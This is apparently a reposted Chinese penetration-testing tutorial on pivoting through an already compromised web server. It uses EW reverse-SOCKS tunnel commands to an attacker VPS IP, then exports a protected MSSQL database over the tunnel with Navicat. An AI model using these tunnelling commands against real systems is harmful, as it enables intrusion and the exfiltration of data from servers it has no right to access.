sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据
Posted 白帽安全技术复现
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据相关的知识,希望对你有一定的参考价值。
4.7 使用EW代理导出和导入MSSQL数据
一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这个场景就适合通过代理的方式导出和导入了
4.7.1 设置代理
1. 在独立的公网IP执行命令
命令如下:
ew -s rcsocks -l 1080 -e 3389
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-401123c6895f368c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上面的3389端口是独立公网IP地址监听的端口,1080是代理端口
2. 在被控制服务器上执行命令
命令如下:
ew -s rssocks -d 120.78.194.70 -e 3389
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-5184bb8d4f6ef5b2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上面是使用独立的公网IP地址连接8888端口
3. 设置Proxifier
此处记得使用socks5即可,配置的IP就是公网的IP地址加代理端口1080,由于我这里是直接在vps上直接使用的,所以我配置的是vps的内网IP地址,大家在实际环境中,如果是在本地PC那么就可以使用公网IP地址加代理端口即可
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-48e7b41a12314258.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-78fa7bd16e481ac4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
4. 测试代理
4.7.2 设置Navicat for Sql Server
1. 设置Navicat for Sql Server连接
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-f8f0be2d7166aa52.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
正常设置连接即可
2. 连接测试
4.7.3 导出数据库
1. 选择和设置数据库导出
2. 去除删除数据库表选项
3. 导出数据
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-2cac727ba04240ba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
4.7.4 导入SQL Server数据库
(1) 在本地SQL Server数据库中创建对应的数据库名称
(2) 设置相同的用户,此处设置导出的是数据对应的用户名和密码,以及与导出的SQL文件对应的用户和权限,防止出现权限不一致而导致导入数据失败的情况
(3) 设置用户的对应权限,在SQL Server中对用户设置可以访问数据库及数据库角色权限
(4) 设置Navicat for SQL Server 连接,使用同样的方法在本地建立数据库连接
(5) 连接数据库服务器,打开需要导入的数据库到dbo处,选择运行SQL文件,选中导出SQL文件,开始导入数据
(6) 数据导入成功后,刷新数据库即可在本地使用
作者已经把本小节发布到公网上了,下面是地址链接:
http://www.mamicode.com/info-detail-2420471.html
![技术图片](https://upload-images.jianshu.io/upload_images/6086910-0246bb837946eda0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上是关于sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据的主要内容,如果未能解决你的问题,请参考以下文章
sqlmap从入门到精通-第四章-4-2 SQL Server获取webshell及提权基础
网络安全从入门到精通(第四章-2)GET&POST&HEAD注入
sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御